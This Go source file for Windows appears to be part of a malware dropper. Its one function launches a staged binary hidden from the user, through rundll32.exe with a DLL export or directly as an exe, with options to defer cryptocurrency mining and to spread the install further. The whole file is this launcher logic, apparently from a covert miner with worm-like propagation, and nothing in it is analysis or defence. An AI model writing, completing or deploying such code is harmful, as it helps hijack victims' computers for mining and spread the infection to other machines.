//go:build windows

package deploy

import (
	"fmt"
	"strings"
)

func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
	switch strings.ToLower(strings.TrimSpace(launch)) {
	case "rundll32", "dll":
		export := strings.TrimSpace(dllExport)
		if export == "" {
			export = "DllRegisterServer"
		}
		if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
			return "", fmt.Errorf("rundll32 launch: %w", err)
		}
		return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil
	default:
		args := []string{runFlag}
		if deferMining {
			args = append(args, deferMiningFlag)
		}
		if spreadInstall {
			args = append(args, spreadFlag)
		}
		if err := HiddenStart(dest, args...); err != nil {
			return "", fmt.Errorf("exe launch: %w", err)
		}
		return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
	}
}